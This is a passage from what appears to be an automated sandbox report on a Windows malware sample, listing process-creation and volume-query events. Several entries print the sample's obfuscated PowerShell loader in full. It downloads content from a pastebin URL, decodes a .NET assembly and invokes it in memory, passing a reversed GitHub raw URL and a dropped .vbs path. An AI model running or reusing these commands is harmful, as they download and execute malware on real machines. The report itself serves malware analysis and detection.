?g?cq?zg?g?c0?vqbz?gu?qgbh?hm?aqbj?f??yqby?hm?aqbu?gc?i??7?gm?bqbk?c4?zqb4?gu?i??v?gm?i??7?h??aqbu?gc?i??x?di?nw?u?d??lg?w?c4?mq?g?ds?c?bv?hc?zqby?hm?a?bl?gw?b??u?gu?e?bl?c??lqbj?g8?bqbt?ge?bgbk?c??ew?k?gy?i??9?c??k?bb?fm?eqbz?hq?zqbt?c4?sqbp?c4?u?bh?hq?a?bd?do?ogbh?gu?d?bu?gu?bqbw?f??yqb0?gg?k??p?c??kw?g?cc?z?bs?gw?m??x?c4?d?b4?hq?jw?p?c??ow?k?fe?u?b0?ge?dg?g?d0?i??o?c??rwbl?hq?lqbd?g8?bgb0?gu?bgb0?c??lqbq?ge?d?bo?c??j?bm?c??kq?g?ds?sqbu?hy?bwbr?gu?lqbx?gu?ygbs?gu?cqb1?gu?cwb0?c??lqbv?fi?sq?g?cq?uqbq?hq?yqb2?c??lqbp?hu?d?bg?gk?b?bl?c??j?bm?c??lqbv?hm?zqbc?ge?cwbp?gm?u?bh?hi?cwbp?g4?zwb9?c??ow?k?fe?u?b0?ge?dg?g?d0?i??o?c??rwbl?hq?lqbd?g8?bgb0?gu?bgb0?c??lqbq?ge?d?bo?c??j?bm?c??kq?g?ds?j?bq?hc?bgbn?gm?i??9?c??jw?w?de?jw?g?ds?j?bl?ge?yqbp?hc?i??9?c??jw?l?eo?awbr?ge?cwbe?gy?zwby?fq?zw?l?cc?i??7?fs?qgb5?hq?zqbb?f0?xq?g?cq?z?bj?gg?cwbp?c??pq?g?fs?cwb5?hm?d?bl?g0?lgbd?g8?bgb2?gu?cgb0?f0?og?6?ey?cgbv?g0?qgbh?hm?zq?2?dq?uwb0?hi?aqbu?gc?k??g?cq?uqbq?hq?yqb2?c4?cgbl?h??b?bh?gm?zq?o?cc?j??k?cq?j??k?cc?l??n?ee?jw?p?c??kq?g?ds?wwbt?hk?cwb0?gu?bq?u?ee?c?bw?eq?bwbt?ge?aqbu?f0?og?6?em?dqby?hi?zqbu?hq?r?bv?g0?yqbp?g4?lgbm?g8?yqbk?cg?j?bk?gm?a?bz?gk?kq?u?ec?zqb0?fq?eqbw?gu?k??n?fq?zqbo?hu?b?bj?gg?zqbz?fg?e?by?hg?e??u?em?b?bh?hm?cw?x?cc?kq?u?ec?zqb0?e0?zqb0?gg?bwbk?cg?jwbn?hm?cqbc?ek?ygbz?cc?kq?u?ek?bgb2?g8?awbl?cg?j?bu?hu?b?bs?cw?i?bb?g8?ygbq?gu?ywb0?fs?xqbd?c??k??n?dq?mg?x?de?vgbp?e4?lwbu?gk?yqbt?c8?cwbk?ge?zqbo?c8?cwbm?gu?cg?v?gu?cgbp?gy?lwbh?gw?b?bp?hu?cqbu?ge?cgby?ge?yg?0?di?m??y?g4?bwbp?h??bqbh?gg?yw?v?g0?bwbj?c4?d?bu?gu?d?bu?g8?ywby?gu?cwb1?gi?dqbo?hq?aqbn?c4?dwbh?hi?lw?v?do?cwbw?hq?d?bo?cc?i??s?c??j?bl?ge?yqbp?hc?i??s?c??jwbp?gc?zgb4?eu?tq?n?cw?i??k?go?dwbu?gc?yw?s?c??jw?x?cc?l??g?cc?ugbv?gq?yq?n?c??kq?p?ds?';$yolopolhggobek = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $iujujjzz.replace('?','a') ) );$yolopolhggobek = $yolopolhggobek.replace('%jkqasdfgrtg%', 'c:\users\user\appdata\local\temp\jglbwx.vbs');powershell $yolopolhggobek;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;$ccrhm = 'https://pastebin.com/raw/adv9gbha' ;$f = ([system.io.path]::gettemppath() + 'dll01.txt') ;invoke-webrequest -uri $ccrhm -outfile $f -usebasicparsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([system.io.path]::gettemppath() + 'dll01.txt') ;$qptav = ( get-content -path $f ) ;invoke-webrequest -uri $qptav -outfile $f -usebasicparsing} ;$qptav = ( get-content -path $f ) ;$mixfu = '01' ;$bhpge = 'c:\users\user\appdata\local\temp\mknrez.vbs' ;[byte[]] $nugkk = [system.convert]::frombase64string( $qptav.replace('$$$$$','a') ) ;[system.appdomain]::currentdomain.load($nugkk).gettype('tehulchesxxxxx.class1').getmethod('msqbiby').invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxem64', $mixfu, '1', 'roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;$ccrhm = 'https://pastebin.com/raw/adv9gbha' ;$f = ([system.io.path]::gettemppath() + 'dll01.txt') ;invoke-webrequest -uri $ccrhm -outfile $f -usebasicparsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([system.io.path]::gettemppath() + 'dll01.txt') ;$qptav = ( get-content -path $f ) ;invoke-webrequest -uri $qptav -outfile $f -usebasicparsing} ;$qptav = ( get-content -path $f ) ;$jwngc = '01' ;$eaaiw = 'c:\users\user\appdata\local\temp\jglbwx.vbs' ;[byte[]] $dchsi = [system.convert]::frombase64string( $qptav.replace('$$$$$','a') ) ;[system.appdomain]::currentdomain.load($dchsi).gettype('tehulchesxxxxx.class1').getmethod('msqbiby').invoke($null, [object[]] ('4211von/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $eaaiw , 'igfxem', $jwngc, '1', 'roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand jabmacaapqagacgawwbtahkacwb0aguabqauaekatwauafaayqb0aggaxqa6adoarwblahqavablag0acabqageadaboacgakqagacsaiaanagqababsadaamqauahqaeab0accakqagadsajabrafaadabhahyaiaa9acaakaagaecazqb0ac0aqwbvag4adablag4adaagac0auabhahqaaaagacqazgagackaiaa7aekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbsaekaiaakafeauab0ageadgagac0atwb1ahqargbpagwazqagacqazgagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagca -inputformat xml -outputformat text
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand jabmacaapqagacgawwbtahkacwb0aguabqauaekatwauafaayqb0aggaxqa6adoarwblahqavablag0acabqageadaboacgakqagacsaiaanagqababsadaamqauahqaeab0accakqagadsajabrafaadabhahyaiaa9acaakaagaecazqb0ac0aqwbvag4adablag4adaagac0auabhahqaaaagacqazgagackaiaa7aekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbsaekaiaakafeauab0ageadgagac0atwb1ahqargbpagwazqagacqazgagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagca -inputformat xml -outputformat text
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $iujujjzz = 'wwbt?hk?cwb0?gu?bq?u?e4?zqb0?c4?uwbl?hi?dgbp?gm?zqbq?g8?aqbu?hq?tqbh?g4?yqbn?gu?cgbd?do?ogbt?gu?ywb1?hi?aqb0?hk?u?by?g8?d?bv?gm?bwbs?c??pq?g?fs?uwb5?hm?d?bl?g0?lgbo?gu?d??u?fm?zqbj?hu?cgbp?hq?eqbq?hi?bwb0?g8?ywbv?gw?v?b5?h??zqbd?do?ogbu?gw?cw?x?di?ow?k?em?qwbs?gg?bq?g?d0?i??n?gg?d?b0?h??cw?6?c8?lwbw?ge?cwb0?gu?ygbp?g4?lgbj?g8?bq?v?hi?yqb3?c8?qqbk?hy?oqbn?ei?s?bh?cc?i??7?cq?zg?g?d0?i??o?fs?uwb5?hm?d?bl?g0?lgbj?e8?lgbq?ge?d?bo?f0?og?6?ec?zqb0?fq?zqbt?h??u?bh?hq?a??o?ck?i??r?c??jwbk?gw?b??w?de?lgb0?hg?d??n?ck?i??7?ek?bgb2?g8?awbl?c0?vwbl?gi?ugbl?he?dqbl?hm?d??g?c0?vqbs?ek?i??k?em?qwbs?gg?bq?g?c0?twb1?hq?rgbp?gw?zq?g?cq?zg?g?c0?vqbz?gu?qgbh?hm?aqbj?f??yqby?hm?aqbu?gc?i??7?gm?bqbk?c4?zqb4?gu?i??v?gm?i??7?h??aqbu?gc?i??x?di?nw?u?d??lg?w?c4?mq?g?ds?c?bv?hc?zqby?hm?a?bl?gw?b??u?gu?e?bl?c??lqbj?g8?bqbt?ge?bgbk?c??ew?k?gy?i??9?c??k?bb?fm?eqbz?hq?zqbt?c4?sqbp?c4?u?bh?hq?a?bd?do?ogbh?gu?d?bu?gu?bqbw?f??yqb0?gg?k??p?c??kw?g?cc?z?bs?gw?m??x?c4?d?b4?hq?jw?p?c??ow?k?fe?u?b0?ge?dg?g?d0?i??o?c??rwbl?hq?lqbd?g8?bgb0?gu?bgb0?c??lqbq?ge?d?bo?c??j?bm?c??kq?g?ds?sqbu?hy?bwbr?gu?lqbx?gu?ygbs?gu?cqb1?gu?cwb0?c??lqbv?fi?sq?g?cq?uqbq?hq?yqb2?c??lqbp?hu?d?bg?gk?b?bl?c??j?bm?c??lqbv?hm?zqbc?ge?cwbp?gm?u?bh?hi?cwbp?g4?zwb9?c??ow?k?fe?u?b0?ge?dg?g?d0?i??o?c??rwbl?hq?lqbd?g8?bgb0?gu?bgb0?c??lqbq?ge?d?bo?c??j?bm?c??kq?g?ds?j?bq?hc?bgbn?gm?i??9?c??jw?w?de?jw?g?ds?j?bl?ge?yqbp?hc?i??9?c??jw?l?eo?awbr?ge?cwbe?gy?zwby?fq?zw?l?cc?i??7?fs?qgb5?hq?zqbb?f0?xq?g?cq?z?bj?gg?cwbp?c??pq?g?fs?cwb5?hm?d?bl?g0?lgbd?g8?bgb2?gu?cgb0?f0?og?6?ey?cgbv?g0?qgbh?hm?zq?2?dq?uwb0?hi?aqbu?gc?k??g?cq?uqbq?hq?yqb2?c4?cgbl?h??b?bh?gm?zq?o?cc?j??k?cq?j??k?cc?l??n?ee?jw?p?c??kq?g?ds?wwbt?hk?cwb0?gu?bq?u?ee?c?bw?eq?bwbt?ge?aqbu?f0?og?6?em?dqby?hi?zqbu?hq?r?bv?g0?yqbp?g4?lgbm?g8?yqbk?cg?j?bk?gm?a?bz?gk?kq?u?ec?zqb0?fq?eqbw?gu?k??n?fq?zqbo?hu?b?bj?gg?zqbz?fg?e?by?hg?e??u?em?b?bh?hm?cw?x?cc?kq?u?ec?zqb0?e0?zqb0?gg?bwbk?cg?jwbn?hm?cqbc?ek?ygbz?cc?kq?u?ek?bgb2?g8?awbl?cg?j?bu?hu?b?bs?cw?i?bb?g8?ygbq?gu?ywb0?fs?xqbd?c??k??n?dq?mg?x?de?vgbp?e4?lwbu?gk?yqbt?c8?cwbk?ge?zqbo?c8?cwbm?gu?cg?v?gu?cgbp?gy?lwbh?gw?b?bp?hu?cqbu?ge?cgby?ge?yg?0?di?m??y?g4?bwbp?h??bqbh?gg?yw?v?g0?bwbj?c4?d?bu?gu?d?bu?g8?ywby?gu?cwb1?gi?dqbo?hq?aqbn?c4?dwbh?hi?lw?v?do?cwbw?hq?d?bo?cc?i??s?c??j?bl?ge?yqbp?hc?i??s?c??jwbp?gc?zgb4?eu?tq?n?cw?i??k?go?dwbu?gc?yw?s?c??jw?x?cc?l??g?cc?ugbv?gq?yq?n?c??kq?p?ds?';$yolopolhggobek = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $iujujjzz.replace('?','a') ) );$yolopolhggobek = $yolopolhggobek.replace('%jkqasdfgrtg%', 'c:\users\user\appdata\local\temp\jglbwx.vbs');powershell $yolopolhggobek;	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $iujujjzz = 'wwbt?hk?cwb0?gu?bq?u?e4?zqb0?c4?uwbl?hi?dgbp?gm?zqbq?g8?aqbu?hq?tqbh?g4?yqbn?gu?cgbd?do?ogbt?gu?ywb1?hi?aqb0?hk?u?by?g8?d?bv?gm?bwbs?c??pq?g?fs?uwb5?hm?d?bl?g0?lgbo?gu?d??u?fm?zqbj?hu?cgbp?hq?eqbq?hi?bwb0?g8?ywbv?gw?v?b5?h??zqbd?do?ogbu?gw?cw?x?di?ow?k?em?qwbs?gg?bq?g?d0?i??n?gg?d?b0?h??cw?6?c8?lwbw?ge?cwb0?gu?ygbp?g4?lgbj?g8?bq?v?hi?yqb3?c8?qqbk?hy?oqbn?ei?s?bh?cc?i??7?cq?zg?g?d0?i??o?fs?uwb5?hm?d?bl?g0?lgbj?e8?lgbq?ge?d?bo?f0?og?6?ec?zqb0?fq?zqbt?h??u?bh?hq?a??o?ck?i??r?c??jwbk?gw?b??w?de?lgb0?hg?d??n?ck?i??7?ek?bgb2?g8?awbl?c0?vwbl?gi?ugbl?he?dqbl?hm?d??g?c0?vqbs?ek?i??k?em?qwbs?gg?bq?g?c0?twb1?hq?rgbp?gw?zq?g?cq?zg?g?c0?vqbz?gu?qgbh?hm?aqbj?f??yqby?hm?aqbu?gc?i??7?gm?bqbk?c4?zqb4?gu?i??v?gm?i??7?h??aqbu?gc?i??x?di?nw?u?d??lg?w?c4?mq?g?ds?c?bv?hc?zqby?hm?a?bl?gw?b??u?gu?e?bl?c??lqbj?g8?bqbt?ge?bgbk?c??ew?k?gy?i??9?c??k?bb?fm?eqbz?hq?zqbt?c4?sqbp?c4?u?bh?hq?a?bd?do?ogbh?gu?d?bu?gu?bqbw?f??yqb0?gg?k??p?c??kw?g?cc?z?bs?gw?m??x?c4?d?b4?hq?jw?p?c??ow?k?fe?u?b0?ge?dg?g?d0?i??o?c??rwbl?hq?lqbd?g8?bgb0?gu?bgb0?c??lqbq?ge?d?bo?c??j?bm?c??kq?g?ds?sqbu?hy?bwbr?gu?lqbx?gu?ygbs?gu?cqb1?gu?cwb0?c??lqbv?fi?sq?g?cq?uqbq?hq?yqb2?c??lqbp?hu?d?bg?gk?b?bl?c??j?bm?c??lqbv?hm?zqbc?ge?cwbp?gm?u?bh?hi?cwbp?g4?zwb9?c??ow?k?fe?u?b0?ge?dg?g?d0?i??o?c??rwbl?hq?lqbd?g8?bgb0?gu?bgb0?c??lqbq?ge?d?bo?c??j?bm?c??kq?g?ds?j?bt?gk?e?bm?hu?i??9?c??jw?w?de?jw?g?ds?j?bi?gg?c?bn?gu?i??9?c??jw?l?eo?awbr?ge?cwbe?gy?zwby?fq?zw?l?cc?i??7?fs?qgb5?hq?zqbb?f0?xq?g?cq?bgb1?gc?awbr?c??pq?g?fs?cwb5?hm?d?bl?g0?lgbd?g8?bgb2?gu?cgb0?f0?og?6?ey?cgbv?g0?qgbh?hm?zq?2?dq?uwb0?hi?aqbu?gc?k??g?cq?uqbq?hq?yqb2?c4?cgbl?h??b?bh?gm?zq?o?cc?j??k?cq?j??k?cc?l??n?ee?jw?p?c??kq?g?ds?wwbt?hk?cwb0?gu?bq?u?ee?c?bw?eq?bwbt?ge?aqbu?f0?og?6?em?dqby?hi?zqbu?hq?r?bv?g0?yqbp?g4?lgbm?g8?yqbk?cg?j?bu?hu?zwbr?gs?kq?u?ec?zqb0?fq?eqbw?gu?k??n?fq?zqbo?hu?b?bj?gg?zqbz?fg?e?by?hg?e??u?em?b?bh?hm?cw?x?cc?kq?u?ec?zqb0?e0?zqb0?gg?bwbk?cg?jwbn?hm?cqbc?ek?ygbz?cc?kq?u?ek?bgb2?g8?awbl?cg?j?bu?hu?b?bs?cw?i?bb?g8?ygbq?gu?ywb0?fs?xqbd?c??k??n?dq?mgbv?gm?cwbh?c8?bgbp?ge?bq?v?hm?z?bh?gu?a??v?hm?zgbl?hi?lwbl?hi?aqbm?c8?yqbs?gw?aqb1?he?bgbh?hi?cgbh?gi?n??y?d??mgbu?g8?aqbw?g0?yqbo?gm?lwbt?g8?yw?u?hq?bgbl?hq?bgbv?gm?cgbl?hm?dqbi?hu?a?b0?gk?zw?u?hc?yqby?c8?lw?6?hm?c?b0?hq?a??n?c??l??g?cq?ygbo?h??zwbl?c??l??g?cc?aqbn?gy?e?bf?e0?ng?0?cc?l??g?cq?bqbp?hg?zgb1?cw?i??n?de?jw?s?c??jwbs?g8?z?bh?cc?i??p?ck?ow?=';$yolopolhggobek = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $iujujjzz.replace('?','a') ) );$yolopolhggobek = $yolopolhggobek.replace('%jkqasdfgrtg%', 'c:\users\user\appdata\local\temp\mknrez.vbs');powershell $yolopolhggobek;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;$ccrhm = 'https://pastebin.com/raw/adv9gbha' ;$f = ([system.io.path]::gettemppath() + 'dll01.txt') ;invoke-webrequest -uri $ccrhm -outfile $f -usebasicparsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([system.io.path]::gettemppath() + 'dll01.txt') ;$qptav = ( get-content -path $f ) ;invoke-webrequest -uri $qptav -outfile $f -usebasicparsing} ;$qptav = ( get-content -path $f ) ;$mixfu = '01' ;$bhpge = 'c:\users\user\appdata\local\temp\mknrez.vbs' ;[byte[]] $nugkk = [system.convert]::frombase64string( $qptav.replace('$$$$$','a') ) ;[system.appdomain]::currentdomain.load($nugkk).gettype('tehulchesxxxxx.class1').getmethod('msqbiby').invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxem64', $mixfu, '1', 'roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;$ccrhm = 'https://pastebin.com/raw/adv9gbha' ;$f = ([system.io.path]::gettemppath() + 'dll01.txt') ;invoke-webrequest -uri $ccrhm -outfile $f -usebasicparsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([system.io.path]::gettemppath() + 'dll01.txt') ;$qptav = ( get-content -path $f ) ;invoke-webrequest -uri $qptav -outfile $f -usebasicparsing} ;$qptav = ( get-content -path $f ) ;$jwngc = '01' ;$eaaiw = 'c:\users\user\appdata\local\temp\jglbwx.vbs' ;[byte[]] $dchsi = [system.convert]::frombase64string( $qptav.replace('$$$$$','a') ) ;[system.appdomain]::currentdomain.load($dchsi).gettype('tehulchesxxxxx.class1').getmethod('msqbiby').invoke($null, [object[]] ('4211von/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $eaaiw , 'igfxem', $jwngc, '1', 'roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand jabmacaapqagacgawwbtahkacwb0aguabqauaekatwauafaayqb0aggaxqa6adoarwblahqavablag0acabqageadaboacgakqagacsaiaanagqababsadaamqauahqaeab0accakqagadsajabrafaadabhahyaiaa9acaakaagaecazqb0ac0aqwbvag4adablag4adaagac0auabhahqaaaagacqazgagackaiaa7aekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbsaekaiaakafeauab0ageadgagac0atwb1ahqargbpagwazqagacqazgagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagca -inputformat xml -outputformat text	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand jabmacaapqagacgawwbtahkacwb0aguabqauaekatwauafaayqb0aggaxqa6adoarwblahqavablag0acabqageadaboacgakqagacsaiaanagqababsadaamqauahqaeab0accakqagadsajabrafaadabhahyaiaa9acaakaagaecazqb0ac0aqwbvag4adablag4adaagac0auabhahqaaaagacqazgagackaiaa7aekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbsaekaiaakafeauab0ageadgagac0atwb1ahqargbpagwazqagacqazgagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagca -inputformat xml -outputformat text	Jump to behavior

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Queries volume information: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
